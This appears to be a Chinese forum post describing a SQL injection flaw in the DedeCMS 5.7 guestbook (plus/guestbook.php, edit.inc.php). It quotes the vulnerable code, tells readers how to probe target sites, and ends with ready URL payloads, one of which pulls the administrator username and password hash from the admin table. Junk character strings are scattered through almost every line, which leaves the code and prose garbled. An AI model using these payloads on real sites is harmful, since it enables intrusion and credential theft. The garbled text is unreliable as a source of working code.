影响版本为5.7. I$ v. }. a. B8 ^
& ~ V/ e- K" N9 H+ T) v
漏洞文件edit.inc.php具体代码:$ O4 @' Z& m' f$ L6 k
1 c3 d' b/ @& Q& ^8 `1 A< ?php % `5 `) B' v# W; i0 K
5 F' {8 s" ^# k8 |
if(!defined('DEDEINC')) exit('Request Error!');
' n: x8 y* ~% p; i' P" {% z
' z& r m" A# a7 }+ g7 }* s 1 J% a2 p4 p. ]; `. C) J
2 w9 d" L& e- M4 H! ?$ \
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; + D1 f; G+ r. p/ Q
" r. q- O& V) Y7 g) X6 T8 ` ^
else $GUEST_BOOK_POS = "guestbook.php";
& }- A. T" {& K( _: D& U Y
n0 J& }& ~- D' }! e: t O$ v 3 L2 c: e! x n/ [" A+ r$ [
D$ ^) p( X% R# r' Q J/ E- l$id = intval($id); , g# E* }, r( E1 M, L
# b. ]9 ?2 t( d5 B; H$ tif(empty($job)) $job='view';
. v( t4 i" G# A: I9 ? c4 J8 o6 b
5 t, P0 @" M. z% J9 b- ]
+ q8 \# j4 s: n$ A0 {
3 @5 o! B0 A2 a: e$ [if($job=='del' && $g_isadmin)
* D4 s- V+ f: C/ b4 `) W2 ?
5 Y. I0 A/ |/ ~{
! Q. }2 H/ N- F, `) x d& C. x r, d7 b8 u9 Z3 u
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); , j) i6 s1 b: W6 M" r% q* h
& c+ ]- l4 C6 x) q$ C* \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 7 ~8 t# A3 H4 ^+ a1 Y r
! R: r- a. }: Z' R( yexit(); 4 H' `9 K& M+ ~1 u9 K+ O
! i6 F8 z- G+ X}
0 K7 J3 K) L3 ?9 U. G0 z% l T
/ h* W( [# v% ]else if($job=='check' && $g_isadmin)
; ~# c# u$ t3 J6 r* v( L5 C/ U: A c
{ : }( y3 Y# F- b0 o& @. \
% ~5 w% ~' W+ K/ u$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); : Q4 A! t% J1 l) ~) t- N
% @, z4 c* S5 w* z3 |6 i
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
, I1 r3 R3 t; B
% v. Y9 x0 }5 y1 k* Texit(); 0 q5 @; B+ }+ @( w# N
/ `* s: r) `+ R% p
}
' K6 g1 ] f; L8 {8 I$ p. Z, O
! n; N+ _# ^) G) _9 y: melse if($job=='editok') " N! k j0 B1 \
9 l3 E- P" [- v' v# G. g{ 7 u$ @& f2 @* m0 u
: e4 D% B. W! J1 t* C
$remsg = trim($remsg); ( |7 o+ m. K" a6 A
: J! N1 }" k. L/ z% q
if($remsg!='') : R V. B0 b- |) u
4 c( u. Q0 c2 y0 @- \
{
6 {# |! F- g5 ~* T2 S
1 k8 d6 J% Y- ~. Q//管理员回复不过滤HTML By:Errorera blog:errs.cc $ r$ @- v/ R3 [" h& l/ }
& y" h% Z4 A. m- Q$ K u/ G, h0 xif($g_isadmin) 0 k9 ]* l6 S; m$ |. w @2 P
5 h3 C$ U! u8 r0 p9 _# p
{ 3 s/ [1 X+ K! [ ]" K0 A% }
( O0 f: M. E; w9 m! U$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 7 x. P3 E$ [$ j
9 ]& Z; ]3 |* p( M. j4 `" a6 p( |
//$remsg <br /><font color=red>管理员回复:</font> } & _: e: ?: S# g. v+ F
/ z/ |8 Z. ?; D" E' }
else
# O4 u) R1 f# h' {7 i B0 h, [1 B3 K" z# R+ |# X5 _5 U- U
{ 7 w8 r ~# W' I- b+ W9 _
! y* v" R1 s* z2 S$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
1 \ ]" f9 J% q+ E! H0 T& O
5 P* e' K# u9 c3 v# f& f$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ' x$ j/ M7 d" i+ P
0 p, }5 e0 U4 d' j9 h' c. @, F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
, r; m6 a }# Q1 d
+ a4 q4 V& Y$ Y% q$msg = $oldmsg.$remsg; 1 p5 }8 W) G% W Y+ Y3 U. y, |; G
% B) Z* ]0 }5 x. K# _! l$ H} F7 M' Z" ^' L2 V
6 B( v' t( t2 W4 w" S/ @0 Z
}
* i' y0 A; b$ W
; N7 L5 N$ y6 W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
! O: _1 h r$ H* _* K- d
! F2 s6 c: U* a+ i3 @3 u$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
8 M8 i/ P3 R6 O. [& g3 A
6 K8 k2 r0 @& n, o( G0 q5 U7 @ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 9 |7 v4 t& @: d$ x$ |5 a# H% G
. \. E9 |( _" Y! texit();
6 J w" J+ a0 \: U8 X" K' t# T7 @) G7 p0 Q. O
}
7 u4 g5 _' u, }! a. l' j3 k) B3 m* O0 e# f% j9 g
//home:www.errs.cc
( U" U# Q5 K1 `( m! D: H) B; J* M+ A
if($g_isadmin) # Y, U4 }+ X4 `& `
. r" w' m: r) G5 X- t( ], [0 m
{
/ u+ `% i P; F( y% J' ~) L2 H# G0 x4 {
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
$ `" y/ D3 ]& R8 y2 I; c$ F
# d/ R9 T9 Z/ W; u' U; z$ I2 d6 Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
4 b: U! r. \+ q
7 x$ c: B- \9 k. Z& [} 2 o9 n; \* C Q9 M6 V4 d. q
2 k0 Y- ~& f/ Q8 I; C
else v, h# _" Y6 P& I
/ _( j( G. }- g2 {4 a
{
: A4 m9 W2 I/ ]+ u# T0 e0 x# @2 Z. ]' E+ u
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
4 N, b$ [' {6 ~$ R/ X( F" s; b6 V- c* ^
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ( \$ U* k2 v* f. V3 U
7 S% h+ z9 H8 `' {- }4 s
} 漏洞成功需要条件:! }7 A2 V" b. @
1. php magic_quotes_gpc=off- f7 K, e, m2 `. x! M* x, ]5 ^. Y
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
z, d3 ^$ w" o9 L* V7 C4 L: X" ]( u$ L/ i5 r; O* K
怎么判断是否存在漏洞:2 Y1 f( k$ [/ j3 W: J0 S; f
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言," j" w0 J" ^' g' ~; N
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID2 R( J" n9 t/ l$ y$ Y P- C
访问:8 ]1 C6 D; t! V
0 ?2 U0 i* q7 R. t2 s0 ^9 Y1 r cwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) M$ I% w- K. X2 Z9 Y- S% V跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( j# ]! k2 Z! z+ q
! y4 u6 F$ u# e
& k Q4 c% e2 K4 |明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ j7 S- `) _1 x3 W
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
" W# Q4 v7 R. H( l那么再次访问, l$ s" ~; u [
0 L* G5 d0 O+ q% g! fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user()./ G. m* G/ ]* v" }( V! q9 k$ D
' h% D, _: y+ _1 T大概利用就是这样,大家有兴趣的多研究下!!
- Q7 ~' `' e) Q. P2 O5 a4 [3 s# ~5 |" b. [
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
Y# J$ p# { T$ s0 y$ F3 ^4 h7 O4 s" J
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |